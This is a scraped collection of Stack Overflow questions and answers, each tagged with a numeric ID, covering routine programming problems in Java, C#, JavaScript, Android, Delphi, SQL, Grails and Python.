17751107	0	Gradle compile dependency ordering in InteliJ <p>I have a gradle project with subprojects, and Servlet API 2.5. I've added Servlet 3.0 and compile fine from command line gradle. However, InteliJ loads Servlet 2.5 classes first, so I am unable to compile. </p> <p>How can I manage dependency ordering within InteliJ?</p>
22127764	0	 <p>in you initializers try doing something like this </p> <pre><code>#config/initializers/devise.rb #provider1 config.omniauth :facebook, ENV['FACEBOOK_APP_ID'], ENV['FACEBOOK_SECRET'], :site =&gt; 'https://graph.facebook.com/', :authorize_path =&gt; '/oauth/authorize', :access_token_path =&gt; '/oauth/access_token', :scope =&gt; 'email, user_birthday, read_stream, read_friendlists, read_insights, read_mailbox, read_requests, xmpp_login, user_online_presence, friends_online_presence, ads_management, create_event, manage_friendlists, manage_notifications, publish_actions, publish_stream, rsvp_event, user_about_me, user_activities, user_birthday, user_checkins, user_education_history, user_events, user_groups, user_hometown, user_interests, user_likes, user_location, user_notes, user_photos, user_questions, user_relationships, user_relationship_details, user_religion_politics, user_status, user_subscriptions, user_videos, user_website, user_work_history' #provider2 config.omniauth :twitter, ENV['TWITTER_KEY'], ENV['TWITTER_SECRET'], :scope =&gt; { :secure_image_url =&gt; 'true', :image_size =&gt; 'original', :authorize_params =&gt; { :force_login =&gt; 'true' } } #provider3 config.omniauth :google_oauth2, ENV["GOOGLE_KEY"], ENV["GOOGLE_SECRET"] </code></pre>
7668931	0	 <p>Yop you should be looking into push notification (it's a lot more complicated than the periodic agent...)</p> <p>But periodic agent are set to 30 mins (and 25sec of code execution I think) and there is NOTHING you can do about it. Also note that the user can decide to deactivate your periodic agent in the options.</p> <p>But pushing notifications every 5 minutes on a phone might not be good idea anyway... It's gonna drain the battery quickly!</p> <p>What are you trying to accomplish?</p>
39526282	0	 <p><code>[B@5f18cd5</code> is not a byte, it's a string representation of a reference. You can't turn them back into anything. </p> <pre><code>public class Ref { public static void main(final String[] args) { System.out.println(new Ref()); } } //Outputs: Ref@19e0bfd </code></pre> <p><code>foo@address</code> is a reference. You're not actually writing values into the file but references as String. <code>B[</code> means that you're writing <code>byte[]</code> into a file but not the actual bytes <em>in</em> that array. </p> <p><strong>Update</strong></p> <p>You're probably looking for something like this:</p> <pre><code>public static void main(final String[] args) throws FileNotFoundException, IOException { final File f = new File("/tmp/output"); final ObjectOutputStream oos = new ObjectOutputStream( new FileOutputStream(f)); for (int i = 0; i &lt; 8; i++) { final double d = Math.sin(i); System.out.println(d); oos.writeDouble(d); } oos.flush(); oos.close(); System.out.println("---"); final ObjectInputStream ois = new ObjectInputStream( new FileInputStream(f)); for (int i = 0; i &lt; 8; i++) System.out.println(ois.readDouble()); ois.close(); } </code></pre>
39831694	0	 <p>If you follow through the <a href="https://referencesource.microsoft.com/#System.Xml/System/Xml/Serialization/XmlSerializer.cs,292c7197dcb706a1" rel="nofollow">reference source</a> you end up <a href="https://referencesource.microsoft.com/#System.Xml/System/Xml/Serialization/Compilation.cs,661" rel="nofollow">here</a>.</p> <p>It would seem it's the directory that <code>XmlSerializer</code> will put the serializer assembly it generates. </p> <p>If not specified (which is the case with all other overloads), it uses the <a href="https://msdn.microsoft.com/en-us/library/system.xml.serialization.configuration.xmlserializersection.tempfileslocation(v=vs.110).aspx" rel="nofollow"><code>TempFilesLocation</code></a> which can be configured <a href="http://stackoverflow.com/questions/3302752/changing-where-xmlserializer-outputs-temporary-assemblies">per this related question</a>.</p>
5444897	0	 <p>Sounds like your friend can set up a reverse proxy rule on their web server for your file. <a href="http://httpd.apache.org/docs/2.0/mod/mod_proxy.html" rel="nofollow">http://httpd.apache.org/docs/2.0/mod/mod_proxy.html</a></p>
7491065	0	Grails Criteria not working in Integration Test <p>We have a simple method that gets all of a specific domain object where a property equals a hard coded string. This method is within MyDomainService.</p> <pre><code>def List&lt;MyDomain&gt; getAllDomain() { List resultList def criteria = MyDomain.createCriteria() resultList = criteria.list() { eq('property1', 'READY') } return resultList } </code></pre> <p>We also are writing a simple integration test for this method. The test is as follows.</p> <pre><code>void testGetAllDomain() { List original = MyDomain.list() original.each{ it.property1 = 'NOTREADY' it.save(flush:true) } def result = MyDomainService.getAllDomain() assertEquals 0, result.size() //All objects should be set to NOTREADY, and not retrieved. THIS is failing. } </code></pre> <p>I have tried setting </p> <pre><code>def transactional = false </code></pre> <p>and leaving my code as is. I tried setting transactional to false and wrapping the code in .withTransaction{}. I also tried the standard config and that didn't work. What I have noticed is that if I do</p> <pre><code>def List&lt;MyDomain&gt; getAllDomain() { List original = MyDomain.list() original.each{ it.property1 = 'NOTREADY' it.save(flush:true) } List resultList def criteria = MyDomain.createCriteria() resultList = criteria.list() { eq('property1', 'READY') } return resultList } </code></pre> <p>then the results come back as expected. This makes me believe it has something to do with the transaction within the integration test. Any ideas?</p>
1821978	0	 <p>No, as explained in answers to the linked question, you can't do that. Modify the interface to pass in a factory object. (NB: <code>Class</code> makes a bad factory.)</p>
16889391	0	 <p>Here's how (in C#):</p> <p>First, you create your name value collection using the inputs you need like:</p> <pre><code>var nvc = new NameValueCollection { {"q", input}, {"source", "en"}, {"target", "en"}, {"key","Your translate API key here"} }; </code></pre> <p>Then you can call a function like this one:</p> <pre><code>internal string Post(string url, ref CookieContainer cookieJar, NameValueCollection nvc, string referer = null) { var postdata = string.Join("&amp;", Array.ConvertAll(nvc.AllKeys, key =&gt; string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key])))); var request = (HttpWebRequest)WebRequest.Create(url); request.CookieContainer = cookieJar; request.UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0"; request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; request.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7"); request.Headers.Add("Accept-Encoding", "gzip, deflate"); request.Headers.Add("Accept-Language", "en-us"); request.Method = "POST"; request.KeepAlive = true; request.AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate; request.ContentType = "application/x-www-form-urlencoded"; request.ContentLength = postdata.Length; if (!string.IsNullOrEmpty(referer)) request.Referer = referer; var writer = new StreamWriter(request.GetRequestStream()); writer.Write(postdata); writer.Close(); var response = (HttpWebResponse)request.GetResponse(); var resp = (new StreamReader(response.GetResponseStream())).ReadToEnd(); return resp; } </code></pre> <p>Here's the call:</p> <pre><code>var result=Post("https://www.googleapis.com/language/translate/v2/detect",ref new CookieContainer(),nvc); </code></pre> <p>for small values of input, you can use GET instead of POST, just append postdata onto the url after a <code>?</code>.</p> <p>For google translate API, the response is in JSON format, there are many posts on how to parse JSON responses, so I won't go into that here, but these should help you get started: <a href="http://stackoverflow.com/questions/7699972/how-to-decode-a-json-string-using-c?lq=1">How to decode a JSON string using C#?</a> <a href="http://stackoverflow.com/questions/7721261/convert-json-file-to-c-sharp-object?lq=1">Convert JSON File to C# Object</a></p>
21287588	0	Sorting Array of Arrays having variable number of elements <p>I have to sort an array of arrays. I've searched for solutions however my problem is: </p> <ol> <li>need to sort arrays that may have different sizes from a script run to another. </li> <li>need to sort not only by one or two elements, but, if possible based in all elements.</li> </ol> <p>For example, for the following inputs:</p> <pre><code>[[2,3,4,5,6],[1,3,4,5,7],[1,3,4,5,8]] [[5,2,3],[2,2,4],[2,2,5]] </code></pre> <p>The output should be, respectively:</p> <pre><code>[[1,3,4,5,7],[1,3,4,5,8],[2,3,4,5,6]] [[2,2,4],[2,2,5],[5,2,3]] </code></pre>
35970550	0	 <p>Try the regex bellow <code> (^|\s)([#][a-zA-Z\d-]+) </code></p> <p>Working regex example:</p> <p><a href="https://regex101.com/r/kJ2qR3/2" rel="nofollow">https://regex101.com/r/kJ2qR3/2</a></p>
20664291	0	Fetching Custom Variable Values using Piwik API <p>I am trying to use this api CustomVariables.getCustomVariablesValuesFromNameId (idSite, period, date, idSubtable, segment = '') from piwik to fetch CustomVariable values. But there is no example for it and also how to get idsubtable value ?</p> <p>Is there any way to fetch custom variable values from piwik using api ?</p> <p>Any help or example would be appreciated.</p>
36248990	0	 <p>You can do the following:</p> <pre><code>$(selector).on('click', function(e){ e.preventDefault(); $(this).parent().addClass('active').siblings('.active,.current') .removeClass('active current'); }); </code></pre> <p>First you go to the upper level (<code>LI</code>) and add <code>active</code> class to it. Then, selecting its siblings with classes <code>active</code> and <code>current</code>, and remove those classes from the matched elements.</p> <p>Note that I also added <code>e.preventDefault()</code> to prevent and redirect action when you click on the <code>A</code> element.</p>
35399002	0	 <p>The way you handle the cookies appears to be correct. In terms of the shopping cart you can simply JSON.stringify it.</p> <p>To save the cart:</p> <pre><code>$cookies.put("shoppingCart", JSON.stringify($scope.shopping_cart)); </code></pre> <p>To retrieve the cart:</p> <pre><code>var cartCookie = $cookies.get("shoppingCart"); if (cartCookie) { cartCookie = JSON.parse(cartCookie); } </code></pre>
3923213	0	 <p>For the first two steps regular OLE automation using the <code>Outlook2000.pas</code> unit that comes bundled with Delphi should work fine though you might want to take a look at Dmitry Streblechenko's Redemption library: <a href="http://dimastr.com/redemption/">http://dimastr.com/redemption/</a> which simplifies many of the more low-level (Extended-)MAPI tasks significantly.</p> <p>For intercepting the sent message you should create an instance of <code>TItems</code> and connect it to the folder reference you could get from <code>OutlookApplication.Session.GetDefaultFolder(olFolderSentMail)</code>. You can then assign an event handler to its <code>OnItemAdd</code> event.</p> <p>For drag &amp; drop from Outlook into your application you can take a look at Anders Melanders excellent (and free) Drag&amp;Drop library (includes examples for interacting with Outlook): <a href="http://melander.dk/delphi/dragdrop/">http://melander.dk/delphi/dragdrop/</a></p>
32556353	0	 <p>You could just use the <code>/assets</code> folder instead of <code>/res</code> and load <code>drawable</code>s for your avatars directly.</p> <p><code>String avatarName = firstSpinner + '_' + secondSpinner + '.png'; Drawable d = Drawable.createFromStream(getAssets().open("avatars/" + avatarName), null);</code></p>
6879141	0	 <p>You would use the "Content-Disposition" header to provide a recommended filename and force the web browser to show the save dialog.</p> <p>For example:</p> <pre><code>&lt;?php header('Content-type: text/xml'); header('Content-Disposition: attachment; filename="downloaded.xml"'); // ...your other code ?&gt; </code></pre> <p>This isn't guaranteed to work on all server setups and all browsers so you will find further information on the PHP header function page: <a href="http://php.net/manual/en/function.header.php" rel="nofollow">http://php.net/manual/en/function.header.php</a></p>
34149871	0	 <p>Your problem is basically in this bit:</p> <pre><code>G.add_edge((s,r), hrc_dict[(s,r)]) </code></pre> <p>networkx interprets this as "add an edge between the first argument <code>(s,r)</code> and the second argument <code>hrc_dict[(s,r)]</code>." So for example <code>('Hillary Clinton', 'Cheryl Mills'): 354</code> becomes an edge between the node <code>('Hillary Clinton', 'Cheryl Mills')</code> and the node <code>354</code>. Instead try</p> <pre><code>G.add_edge(s, r, count = hrc_dict[(s,r)]) </code></pre>
29159995	0	Creating nested fluent API in Java <p>We are trying to come up with fluent API for nested Object. Consider we have following three classes</p> <p>Attribute : name : String Value : Object</p> <p>Item : action : String attributes : </p> <p>Order : action : String attributes : items : </p> <p>Here we want to have fluent API which can help to build above Objects.</p> <p>Now we need to have builders as follows:</p> <h3>Attribute Builder</h3> <pre><code>AttributeBuilder.make().name().value().build(); </code></pre> <h3>Item Builder</h3> <pre><code>ItemBuilder.make().action() .attribute() .name().value().build() .attribute() .name().value().build() .build(); </code></pre> <h3>Order Builder</h3> <pre><code>OrderBuilder.make().action() .attribute() .name().value().build() .attribute() .name().value().build() .item() .action() .attribute() .name().value().build() .attribute() .name().value().build() .build() .build(); </code></pre> <p>We may later nest the Order Object in Some other object.</p> <p>So is there any way to achieve such nested DSL building ?</p>
14390146	0	 <p>You can ask your <code>NSManagedObjectModel</code> by sending <code>versionIdentifiers</code> to the receiver.</p> <pre><code>- (NSSet *)versionIdentifiers </code></pre> <p>The docu is <a href="https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/CoreDataFramework/Classes/NSManagedObjectModel_Class/Reference/Reference.html#//apple_ref/doc/uid/TP40003610" rel="nofollow">here</a></p>
10604139	0	 <p>I don't have access to Oracle, but I believe something along these lines should work...</p> <pre><code>WITH ranked_data AS ( SELECT COUNT(DISTINCT product_type) OVER (PARTITION BY brand_id) AS brand_rank, MIN(product_type) OVER (PARTITION BY brand_id) AS first_product_type, * FROM yourTable ) SELECT * FROM ranked_data ORDER BY brand_rank, first_product_type, brand_id, product_type, product_description </code></pre> <p><br/></p> <p>An alternative is to JOIN on to a sub-query to calculate the two sorting fields.</p> <pre><code>SELECT yourTable.* FROM yourTable INNER JOIN ( SELECT brand_id, COUNT(DISTINCT product_type) AS brand_rank, MIN(product_type) AS first_product_type, FROM yourTable GROUP BY brand_id ) AS brand_summary ON yourTable.brand_id = brand_summary.brand_id ORDER BY brand_summary.brand_rank, brand_summary.first_product_type, yourTable.brand_id, yourTable.product_type, yourTable.product_description </code></pre>
34136291	0	 <p>This error was caused by an error with the user permissions for sysadmin.</p> <p>Adding “NT AUTHORITY\NETWORK SERVICE” as sysadmin in the SQL server instance resolved the issues.</p>
40078892	0	I am showing aspx page(Add Item form) inside jquery modal, whenever I upload an image the page refreshes and loads as a normal webpage <p>I have 2 files :- </p> <ol> <li>Items.aspx with the list of items in a grid view, A button(to open a form for adding new item), and a div with id testing.</li> </ol> <p>code Inside Items.aspx</p> <pre><code> &lt;%@ Page Title="" Language="C#" MasterPageFile="~/Basic.Master" AutoEventWireup="true" CodeBehind="Items.aspx.cs" Inherits="FlowerShopAdminPanel.Items" %&gt; &lt;asp:Content ID="Content1" ContentPlaceHolderID="head" runat="server"&gt; &lt;/asp:Content&gt; &lt;asp:Content ID="Content2" ContentPlaceHolderID="header" runat="server"&gt; &lt;div id="dvGrid" class="container"&gt; &lt;!-- This contains the gridview --&gt; &lt;/div&gt; &lt;div id="testing"&gt;&lt;/div&gt; &lt;script&gt; function openDialog($itemid,$categoryid) { $('#testing').dialog({ modal: true, dialogClass: "no-close", open: function () { $(this).load('AddItem.aspx?itemid=' + $itemid+'&amp;categoryid='+$categoryid); $(".ui-dialog-titlebar-close", ui.dialog | ui).hide(); }, height: 500, width: 500, title: 'Add Item' }); } &lt;/script&gt; &lt;style&gt; .image { height: 30vh; } .no-close .ui-dialog-titlebar-close { display: none; } &lt;/style&gt; &lt;/asp:Content&gt; </code></pre> <p>This loads a form to add item in a jquery modal. we can upload image to that item using a Button . Above function is on another aspx form in which I am </p> <ol start="2"> <li><p>AddItem.aspx</p> <p></p> <p> </p> <pre><code> &lt;div&gt; &lt;asp:Label runat="server" Text="Category Name"&gt;&lt;/asp:Label&gt; &lt;asp:DropDownList runat="server" ID="category_ddl"&gt;&lt;/asp:DropDownList&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Label runat="server" Text="Item Name"&gt; &lt;/asp:Label&gt; &lt;asp:TextBox runat="server" ID="itemname_txt"&gt;&lt;/asp:TextBox&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Label runat="server" Text="Description"&gt;&lt;/asp:Label&gt; &lt;asp:TextBox runat="server" TextMode="MultiLine" Rows="5" Columns="50" ID="description_txt"&gt;&lt;/asp:TextBox&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Label runat="server" Text="Main Image"&gt;&lt;/asp:Label&gt; &lt;asp:FileUpload runat="server" ID="mainimage_fileupload"/&gt;&lt;br /&gt; &lt;asp:Image runat="server" ID="mainimage_img" Visible="false" /&gt; &lt;asp:Button runat="server" ID="fileupload_btn" Text="Upload" OnClick="fileupload_btn_Click" /&gt; &lt;asp:Label runat="server" ID="filename_lbl" Visible="false" ForeColor="Red" Font-Bold="true"&gt;&lt;/asp:Label&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Label runat="server" Text="Active"&gt; &lt;/asp:Label&gt; &lt;asp:CheckBox runat="server" ID="isActive_chk"/&gt; &lt;/div&gt; &lt;div&gt; &lt;asp:Button runat="server" ID="addItem_btn" Text="Add Item" OnClick="addItem_btn_Click"/&gt; &lt;asp:Button runat="server" ID="cancel_btn" Text="Cancel" OnClick="cancel_btn_Click"/&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p> </p></li> </ol> <p>Whenever I upload the image it opens up as a normal aspx page. Basically, Whenever the aspx page is refreshed, it opens up as a normal web page. I always want to open it in the jQuery modal.</p> <p>Please help in resolving this issue. </p> <p>Thank you</p>
40183870	0	 <p>Maybe someone will find this useful: somehow I had named the directory <code>'templatetags '</code> instead of <code>'templatetags'</code>, that is -- with a space at the end. Took hours to finally realize.</p>
36777974	0	android - viewpager OutOfMemoryError <p>I have a problem. I want to get image URL from JSON and setting to viewpager. I tried it with <code>drawable</code> folder, but large images are causing problems. If the image would be small, then I would not have a problem. How can I get large images? I benefited from this article : <a href="http://manishkpr.webheavens.com/android-viewpager-as-image-slide-gallery-swipe-gallery/" rel="nofollow">enter link description here</a></p> <p>GalleryActivity</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_gallery); ViewPager viewPager = (ViewPager)findViewById(R.id.viewpa); GalleryAdapter ga = new GalleryAdapter(this); viewPager.setAdapter(ga); } </code></pre> <p>Gallery Adapter (extending PagerAdapter)</p> <pre><code>Context context; private int[] GalImages = new int[] { R.drawable.one, R.drawable.two, R.drawable.three }; GalleryAdapter(Context context){ this.context=context; } @Override public int getCount() { return GalImages.length; } @Override public boolean isViewFromObject(View view, Object object) { return view == ((ImageView) object); } @Override public Object instantiateItem(ViewGroup container, int position) { ImageView imageView = new ImageView(context); int padding = context.getResources().getDimensionPixelSize(R.dimen.padding_medium); imageView.setPadding(padding, padding, padding, padding); imageView.setScaleType(ImageView.ScaleType.CENTER_INSIDE); imageView.setImageResource(GalImages[position]);// error on this line when large image ((ViewPager) container).addView(imageView, 0); return imageView; } @Override public void destroyItem(ViewGroup container, int position, Object object) { ((ViewPager) container).removeView((ImageView) object); } </code></pre> <p>And logcat outputs</p> <pre><code>java.lang.OutOfMemoryError at android.graphics.BitmapFactory ... </code></pre>
33640631	0	 <p><em>(From the above comments:)</em> There are several problems here:</p> <ul> <li><p>You pass the address of the local variable <code>var selfPtr</code> to the callback. That address becomes invalid as soon as the <code>hookUpSocket()</code> function returns. See <a href="http://stackoverflow.com/questions/30786883/swift-2-unsafemutablepointervoid-to-object">Swift 2 - UnsafeMutablePointer&lt;Void&gt; to object</a> for a way to pass a pointer to <code>self</code> to the callback, more information here: <a href="http://stackoverflow.com/questions/33294620/how-to-cast-self-to-unsafemutablepointervoid-type-in-swift">How to cast self to UnsafeMutablePointer&lt;Void&gt; type in swift</a>.</p></li> <li><p><code>inputStream</code> and <code>outputStream</code> must be registered with a run loop.</p></li> <li><p><code>inputStream</code> and <code>outputStream</code> are local variables of the callback function so they are deallocated when the function returns. They should be properties of your class instead.</p></li> </ul>
34857027	0	How to Fit Image in CircleImage plugin of Xamarin.Forms <p>I am using following code.</p> <pre><code> &lt;StackLayout BackgroundColor="#303D43" HeightRequest="170" Padding="10" HorizontalOptions="Fill" VerticalOptions="Start"&gt; &lt;StackLayout HeightRequest="120" WidthRequest="120" Padding="0,0,0,10" HorizontalOptions="Fill" VerticalOptions="Fill" &gt; &lt;controls:CircleImage x:Name="profileImage" BorderColor="White" BorderThickness="1" HorizontalOptions="Center" Aspect="AspectFill" WidthRequest="96" HeightRequest="96" &gt; &lt;/controls:CircleImage&gt; &lt;/StackLayout&gt; &lt;Label x:Name="lblTitle" FontSize="22" TextColor="White" HeightRequest="20" HorizontalOptions="Center" /&gt; &lt;/StackLayout&gt; </code></pre> <p><a href="https://i.stack.imgur.com/PomJz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PomJz.png" alt="enter image description here"></a> </p> <p>As you can see in case of portrait image , space left at left and right while in case of horizontal image space left at top and bottom. How to fix this. I have tried Aspect="AspectFill" AspectFit and Fill all three enums but no success..</p> <p>using this Plugin</p> <p><a href="https://github.com/jamesmontemagno/Xamarin.Plugins/tree/master/ImageCircle" rel="nofollow noreferrer">https://github.com/jamesmontemagno/Xamarin.Plugins/tree/master/ImageCircle</a></p>
7696452	0	 <p>You should print the error (using <a href="http://msdn.microsoft.com/en-us/library/ms679360.aspx" rel="nofollow"><code>GetLastError</code></a>). I suspect you are not initializing things:</p> <pre><code>WSADATA wsaData = {0}; WSAStartup(MAKEWORD(2, 2), &amp;wsaData); </code></pre>
20128267	0	C++ binary files and iterators: getting away with a 1:1 using ifstreambuf_iterator? <p><a href="http://stackoverflow.com/a/13665583/2485710">This answer</a> points out the fact that C++ is not well suited for the iteration over a binary file, but this is what I need right now, in short I need to operate on files in a "binary" way, yes all files are binary even the .txt ones, but I'm writing something that operates on image files, so I need to read files that are well structured, were the data is arranged in a specific way.</p> <p>I would like to read the entire file in a data structure such as <code>std::vector&lt;T&gt;</code> so I can almost immediately close the file and work with the content in memory without caring about disk I/O anymore.</p> <p>Right now, the best way to perform a complete iteration over a file according to the standard library is something along the lines of</p> <pre><code>std::ifstream ifs(filename, std::ios::binary); for (std::istreambuf_iterator&lt;char, std::char_traits&lt;char&gt; &gt; it(ifs.rdbuf()); it != std::istreambuf_iterator&lt;char, std::char_traits&lt;char&gt; &gt;(); it++) { // do something with *it; } ifs.close(); </code></pre> <p>or use <code>std::copy</code>, but even with <code>std::copy</code> you are always using <code>istreambuf</code> iterators ( so if I understand the C++ documentation correctly, you are basically reading 1 byte at each call with the previous code ).</p> <p>So the question is: how do I write a custom iterator ? from where I should inherit from ?</p> <p>I assume that this is also important while writing a file to disk, and I assume that I could use the same iterator class for writing, if I'm wrong please feel free to correct me.</p>
6045094	0	Deleting From DGV -- Index [x] does not have a value <p><strong>The Setup:</strong> I have a two DataGridViews, each bound to a BindingList&lt;> of custom business objects. These grids have a special row containing the mathematical totals of all rows in that grid -- this special row is reflective of a corresponding special object in the BindingList&lt;> (I specify that so that you are aware that this is not a row being added to the DGV, but an object being added to the BindingList&lt;>). </p> <p><strong>The Error:</strong> There comes a time, periodically, where I must find and remove the Totals Row object from the BindingList&lt;> (and thus from the DGV). Here is the original code I was using to do this:</p> <pre><code>private void RemoveTotalRow() { for (int i = UnderlyingGridList.Count - 1; i &gt;= 0; i--) { if (UnderlyingGridList[i].IsTotalRow) UnderlyingGridList.RemoveAt(i); } } </code></pre> <p>(It's not super-important, but the reason I'm cycling through all records is to protect against the possibility that there could be more than one Totals row, by mistake). This code <strong>works flawlessly</strong> for one of the two grids under all circumstances. However, on the second grid I get the following error when the RemoveAt method is called:</p> <pre><code>The following exception occurred in the DataGridView: System.IndexOutOfRangeException: Index 5 does not have a value. at System.Windows.Forms.CurrencyManager.get_Item(Int32 index) at System.Windows.Forms.DataGridView.DataGridViewDataConnection.GetError(Int32 rowIndex) To replace this default dialog please handle the DataError event. </code></pre> <p>...where '5' is the index of the totals row. <a href="http://stackoverflow.com/questions/890950/datagridview-on-winforms-throws-exception-when-i-delete-a-record">I found this question</a>, which is essentially the same, except that the accepted answer is to either: 1) Not use an underlying list, which I must do, or 2) Delete from the grid instead of from the list. I have tried #2 by replacing the innermost method call from my code example above with this:</p> <pre><code>if (UnderlyingGridList[i].IsTotalRow) brokenDataGrid.Rows.RemoveAt(i); </code></pre> <p>This throws the same error. <a href="http://stackoverflow.com/questions/1630200/net-datagridview-index-0-does-not-have-a-value">I also found this question</a>, which suggests rebinding after the change - however, this is not feasible as it is possible for this code to be called once per second and if the list is too heavily populated it will make the grid unusable (I know this from bad experiences).</p> <p>I could just handle the grid's DataError event, but I'd rather not have the thing popping a million errors per minute, even if they are silent. Any help would be greatly appreciated.</p>
35833349	0	 <p>You can't use the <code>CBCharacteristicProperties.Broadcast</code> property with characteristics you create yourself. From the <a href="https://developer.apple.com/library/prerelease/ios/documentation/CoreBluetooth/Reference/CBCharacteristic_Class/index.html#//apple_ref/c/tdef/CBCharacteristicProperties" rel="nofollow">documentation</a>:</p> <blockquote> <ul> <li><p><strong>CBCharacteristicPropertyBroadcast</strong> The characteristic’s value can be broadcast using a characteristic configuration descriptor.</p> <p>This property is not allowed for local characteristics published via the <code>addService:</code> method of the <code>CBPeripheralManager</code> class. This means that you cannot use this property when you initialize a new <code>CBMutableCharacteristic</code> object via the <code>initWithType:properties:value:permissions:</code> method of the <code>CBMutableCharacteristic</code> class.</p></li> </ul> </blockquote>
24908293	0	 <pre><code>user=bob lastb $user -t $(date -d "$(last $user | head -n 1 | tr -s '[:space:]' '\t' | cut -f 4-7)" +%Y%m%d%H%M%S) </code></pre> <p>More readably</p> <pre><code> user=bob last_login=$(last $user | head -n 1 | tr -s '[:space:]' '\t' | cut -f 4-7) datetime=$(date -d "$last_login" +%Y%m%d%H%M%S) lastb $user -t $datetime </code></pre> <p>Note that my <code>last</code> output looks a little different from yours, with an extra field: adjust your <code>cut</code> columns accordingly</p> <pre><code>$ last glennj -n 1 glennj pts/7 :0 Sun Jul 20 19:01 still logged in wtmp begins Fri Jul 4 21:15:28 2014 </code></pre>
21753656	0	How to disable cell click of grid <p>I want to know if there is a way to disable clicking on a certain cell of a grid once its value is set in Google Web Toolkit?I tried <code>setEnabled(false)</code>, but it's not defined for cell</p>
11609062	0	ActiveMQ CLIENT on Java 1.4 <p>We are using Active MQ in the most current version 5.6.0. Now we have the problem that a new client has to be connected, unfortunately this client is developed with IBM JDK 1.4. Adding ActiveMQ to the application lead to the following error: </p> <pre><code>UNEXPECTED ERROR OCCURRED: org/apache/activemq/ActiveMQConnectionFactory (Unsupported major.minor version 50.0) STACK TRACE: java.lang.UnsupportedClassVersionError: org/apache/activemq/ActiveMQConnectionFactory (Unsupported major.minor version 50.0) </code></pre> <p>We don't want to switch to an older ActiveMQ version, since there are other applications using the current version. Now my questions (I know the FAQ and especially <a href="http://activemq.apache.org/can-i-use-activemq-5x-or-later-on-java-14.html" rel="nofollow">http://activemq.apache.org/can-i-use-activemq-5x-or-later-on-java-14.html</a>):</p> <p>Are there any ActiveMQ client jars which are usable to connect to Active MQ 5.6.0? For example is it possible to use an ActiveMQ 4.0 client to connect to Active MQ 5.6.0? Is it possible to use any other protocol for this purpose? Has anyone a succesful solution running?</p> <p>If I have to use retrotranslator which is the minimum set on jars I have to translate? Has anyone the experience with IBM JDK 1.4? </p> <p>Thanks for your answers!</p>
11602702	0	 <p>You probably want <a href="https://github.com/mikeash/MAObjCRuntime" rel="nofollow">this.</a> Objective-C wrapper for the Objective-C runtime.</p>
23081615	0	 <p>you could use the audioplayer for playback instead of sound. So</p> <pre><code>player = audioplayer(signal, Fs); </code></pre> <p>Player is the the audioplayer object (check MATLAB help on audioplayer) which you can play using</p> <pre><code>play(player); </code></pre> <p>While the sound is playing you can do whatever you want. For example there is a CurrentSample property which shows you the sample played at the moment. You can get it</p> <pre><code>c_sample = get(player,'CurrentSample'); </code></pre> <p>and use it for your plotting purposes.</p>
8438493	0	 <p>The problems with the code in my initial attempt were:</p> <ol> <li>the read() method should return a value, so it should say:</li> </ol> <pre><code>return this.callParent([object]); </code></pre> <ol> <li><p>The alias should have been <code>'reader.my-json'</code></p></li> <li><p>The results needed to be mapped because it was an array:</p></li> </ol> <pre><code>object.Results = Ext.Array.map(object.Results, Ext.decode); </code></pre> <p>With those fixed, the store can use the simpler reader definition:</p> <pre><code>reader: { type: 'my-json', root: 'Results', totalProperty: 'Total' } </code></pre> <p>But see the complete test case in the original question for the full code. I apologize for not having thoroughly tested the code I initially proposed.</p>
28900135	0	 <p>Don't mix up EJB Annotation with new as CountriesFacadeLocal cin = new CountriesFacade(); In case you have decided to use use Container logic as EJB you should stick to this. Otherwise your field isn't initialized at all (neither EJB nor new) and therfore null. </p>
30590573	0	 <p>You can do this the socialengine Socialengine single sign on plugin:</p> <p><a href="http://www.ipragmatech.com/socialengine-single-sign-on" rel="nofollow">http://www.ipragmatech.com/socialengine-single-sign-on</a></p>
22113927	0	 <p>Applying the command</p> <pre><code>netsh wlan show all </code></pre> <p>in windows would show details of all the routers including the BSSID in your wireless range, even though you might not have been connected to the router.</p>
5728526	0	 <p>There's also</p> <pre><code>var p = new Program(); string btchid = p.GetCommandLine(); </code></pre>
14236276	0	 <p>Conmpression is always expensive but you might be able to improve with</p> <pre><code>OutputStream bOut = new BufferedOutputStream(new FileOutputStream("saves/p-" + layer + ".gz")); DeflaterOutputStream defOut = new DeflaterOutputStream(bOut, new Deflater(Deflater.BEST_SPEED)); //buffer.flip(); byte[] bytes = new byte[1024]; while (buffer.hasRemaining()) { int len = Math.min(buffer.remaining(), bytes.length); buffer.get(bytes, 0, len); defOut.write(bytes, 0, len); } defOut.close(); </code></pre>
27031485	0	 <p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Events/keydown" rel="nofollow">keydown</a> event supports event bubbling, so you can just add the handler to the <code>container</code> element like</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>document.querySelectorAll('.container')[0].addEventListener('keydown', function(e) { console.log('keypressed', this, e); //e.target will refer to the actual event target log('down in `' + e.target.innerHTML + '` with keycode: ' + (e.keyCode)) }) function log(msg) { document.querySelector('#log').innerHTML = msg; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class='container'&gt; &lt;p tabindex="1"&gt;content&lt;/p&gt; &lt;p tabindex="1"&gt;in enough different elements&lt;/p&gt; &lt;p tabindex="1"&gt;that making listeners&lt;/p&gt; &lt;p tabindex="1"&gt;for all of them&lt;/p&gt; &lt;p tabindex="1"&gt;would be a huge pain&lt;/p&gt; &lt;/div&gt; &lt;div id="log"&gt;&lt;/div&gt;</code></pre> </div> </div> </p>
